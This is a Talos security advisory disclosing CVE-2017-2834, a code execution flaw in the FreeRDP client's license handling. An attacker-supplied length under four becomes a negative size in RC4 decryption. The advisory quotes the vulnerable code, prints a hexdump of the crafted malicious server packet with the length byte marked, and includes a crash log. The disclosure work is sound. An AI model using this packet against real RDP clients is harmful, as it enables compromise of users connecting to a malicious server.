Talos Vulnerability Report

TALOS-2017-0336

FreeRDP Rdp Client License Recv Code Execution Vulnerability

July 24, 2017
CVE Number

CVE-2017-2834

Summary

An exploitable code execution vulnerability exists in the authentication functionality of FreeRDP 2.0.0-beta1+android11. A specially crafted server response can cause an out-of-bounds write resulting in an exploitable condition. An attacker can compromise the server or use a man in the middle attack to trigger this vulnerability.

Tested Versions

FreeRDP 2.0.0-beta1+android11 - Windows, OSX, Linux

Product URLs

http://www.freerdp.com/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:H

CWE

CWE-129: Improper Validation of Array Index

Details

FreeRDP is a remote desktop protocol implementation available for all of the major operating systems. Many of the commercial remote desktop protocol applications actually use this library as their core. The vulnerability arises in using untrusted data in handling the license authentication with the server.

int license_recv(rdpLicense* license, wStream* s)
{
    BYTE bMsgType;
    UINT16 length;
    UINT16 channelId;

    if (!rdp_read_header(license->rdp, s, &length, &channelId)) [1]
    {
        WLog_ERR(TAG, "Incorrect RDP header.");
        return -1;
    }
    ...
    if (securityFlags & SEC_ENCRYPT)
    {
        if (!rdp_decrypt(license->rdp, s, length - 4, securityFlags)) [2]

At [1], the RDP header is read in and a local variable, length, is assigned a value directly from the attacker controlled packet. The value of length is then subtracted from four, [2], and passed into a decryption function. If the attacker supplies a value less than four a negative value will be passed into decrypt. The attacker controlled length value goes through multiple functions and ends up passed in directly to the OpenSSL RC4 function call. This causes the program to write attacker influence data out of bounds causing a potentially exploitable condition to arise. A hexdump of the attacker controlled packet is below with the bytes pertaining to the length marked.

00000000  03 00 01 51 02 f0 80 68  00 01 03 eb 70 [03] 08 00  |...Q...h....p...| <-------
00000010  00 3e 01 01 02 3e 01 7b  3c 31 a6 ae e8 74 f6 b4  |.>...>.{<1...t..|
00000020  a5 03 90 e7 c2 c7 39 ba  53 1c 30 54 6e 90 05 d0  |......9.S.0Tn...|
00000030  05 ce 44 18 91 83 81 00  00 04 00 2c 00 00 00 4d  |..D........,...M|
00000040  00 69 00 63 00 72 00 6f  00 73 00 6f 00 66 00 74  |.i.c.r.o.s.o.f.t|
00000050  00 20 00 43 00 6f 00 72  00 70 00 6f 00 72 00 61  |. .C.o.r.p.o.r.a|
00000060  00 74 00 69 00 6f 00 6e  00 00 00 08 00 00 00 32  |.t.i.o.n.......2|
00000070  00 33 00 36 00 00 00 0d  00 04 00 01 00 00 00 03  |.3.6............|
00000080  00 b8 00 01 00 00 00 01  00 00 00 01 00 00 00 06  |................|
00000090  00 5c 00 52 53 41 31 48  00 00 00 00 02 00 00 3f  |.\.RSA1H.......?|
000000a0  00 00 00 01 00 01 00 01  c7 c9 f7 8e 5a 38 e4 29  |............Z8.)|
000000b0  c3 00 95 2d dd 4c 3e 50  45 0b 0d 9e 2a 5d 18 63  |...-.L>PE...*].c|
000000c0  64 c4 2c f7 8f 29 d5 3f  c5 35 22 34 ff ad 3a e6  |d.,..).?.5"4..:.|
000000d0  e3 95 06 ae 55 82 e3 c8  c7 b4 a8 47 c8 50 71 74  |....U......G.Pqt|
000000e0  29 53 89 6d 9c ed 70 00  00 00 00 00 00 00 00 08  |)S.m..p.........|
000000f0  00 48 00 a8 f4 31 b9 ab  4b e6 b4 f4 39 89 d6 b1  |.H...1..K...9...|
00000100  da f6 1e ec b1 f0 54 3b  5e 3e 6a 71 b4 f7 75 c8  |......T;^>jq..u.|                                                 

Crash Information

% ./exc_handler FreeRDP-master/client/Mac/cli/MacFreeRDP.app/Contents/MacOS/MacFreeRDP /v:127.0.0.1:3377

2017-05-09 15:41:35.334 MacFreeRDP[17761:133607] void * _Nullable NSMapGet(NSMapTable * _Nonnull, const void * 
_Nullable): map table argument is NULL
[15:41:35:626] [17761:00429000] [ERROR][com.freerdp.core.transport] - BIO_should_retry returned a system error 32: Broken pipe
MacFreeRDP(17761,0x7fff76107000) malloc: *** error for object 0x7ff62300ac08: incorrect checksum for freed object - object 
was probably modified after being freed.
*** set a breakpoint in malloc_error_break to debug

Crashed thread log = 
: Dispatch queue: com.apple.main-thread
0   libsystem_kernel.dylib          0x00007fff91f718ea __kill + 10
1   libfreerdp2.2.dylib             0x000000010eac3e75 fatal_handler + 229
2   libsystem_platform.dylib        0x00007fff88e0b52a _sigtramp + 26
3   ???                             0x00007ff621801000 0 + 140695100723200
4   libsystem_c.dylib               0x00007fff933af6df abort + 129
5   libsystem_malloc.dylib          0x00007fff915db396 szone_error + 626
6   libsystem_malloc.dylib          0x00007fff915d1373 small_free_list_remove_ptr + 152
7   libsystem_malloc.dylib          0x00007fff915cfa7c szone_free_definite_size + 1790
8   com.apple.CoreGraphics          0x00007fff8d9ed3e0 region_finalize + 44
9   com.apple.CoreFoundation        0x00007fff85729af3 CFRelease + 371
10  com.apple.CoreGraphics          0x00007fff8d9ed3af CGSReleaseRegion + 9
11  com.apple.AppKit                0x00007fff8c92ea01 -[NSRegion dealloc] + 33
12  com.apple.AppKit                0x00007fff8c99c4e1 -[_NSDisplayOperation dealloc] + 121
13  com.apple.CoreFoundation        0x00007fff857a8b72 -[__NSArrayM removeObjectAtIndex:] + 290
14  com.apple.AppKit                0x00007fff8c99c3a8 -[_NSDisplayOperationStack exitDisplayOperationForWindow:] + 449
15  com.apple.AppKit                0x00007fff8c99d792 -[NSView 
_displayRectIgnoringOpacity:isVisibleRect:rectIsVisibleRectForView:] + 4408
16  com.apple.AppKit                0x00007fff8c9983f5 -[NSView displayIfNeeded] + 1950
17  com.apple.AppKit                0x00007fff8c997c3c -[NSWindow displayIfNeeded] + 232
18  com.apple.AppKit                0x00007fff8d01c41b ___NSWindowGetDisplayCycleObserver_block_invoke6365 + 476
19  com.apple.AppKit                0x00007fff8c9975d6 __37+[NSDisplayCycle currentDisplayCycle]_block_invoke + 941
20  com.apple.QuartzCore            0x00007fff8374af71 CA::Transaction::run_commit_handlers(CATransactionPhase) + 85
21  com.apple.QuartzCore            0x00007fff8374a42c CA::Context::commit_transaction(CA::Transaction*) + 160
22  com.apple.QuartzCore            0x00007fff8374a0ec CA::Transaction::commit() + 508
23  com.apple.QuartzCore            0x00007fff83755977 CA::Transaction::observer_callback(__CFRunLoopObserver*, unsigned 
long, void*) + 71
24  com.apple.CoreFoundation        0x00007fff857c5067 
__CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ + 23
25  com.apple.CoreFoundation        0x00007fff857c4fd7 __CFRunLoopDoObservers + 391
26  com.apple.CoreFoundation        0x00007fff857a3ef8 CFRunLoopRunSpecific + 328
27  com.apple.HIToolbox             0x00007fff8bc5c935 RunCurrentEventLoopInMode + 235
28  com.apple.HIToolbox             0x00007fff8bc5c677 ReceiveNextEventCommon + 184
29  com.apple.HIToolbox             0x00007fff8bc5c5af _BlockUntilNextEventMatchingListInModeWithFilter + 71
30  com.apple.AppKit                0x00007fff8c83fdf6 _DPSNextEvent + 1067
31  com.apple.AppKit                0x00007fff8c83f226 -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] + 
454
32  com.apple.AppKit                0x00007fff8c833d80 -[NSApplication run] + 682
33  com.apple.AppKit                0x00007fff8c7fd368 NSApplicationMain + 1176
34  libdyld.dylib                   0x00007fff836995ad start + 1

log name is: ./crashlogs/crashlog.txt
---
exception=EXC_CRASH:signal=6:is_exploitable=yes:instruction_disassembly=jae 
CONSTANT:instruction_address=0x00007fff91f718ea:access_type=:access_address=0x0000000000000000:
The crash is suspected to be an exploitable issue due to the suspicious function in the stack trace of the crashing thread: ' 
szone_error '

Exploit Proof-of-Concept

Run included Python server and connect FreeRDP Client to it.

Timeline

2017-05-24 - Vendor Disclosure
2017-07-24 - Public Release

Credit

Discovered by Tyler Bohan of Cisco Talos.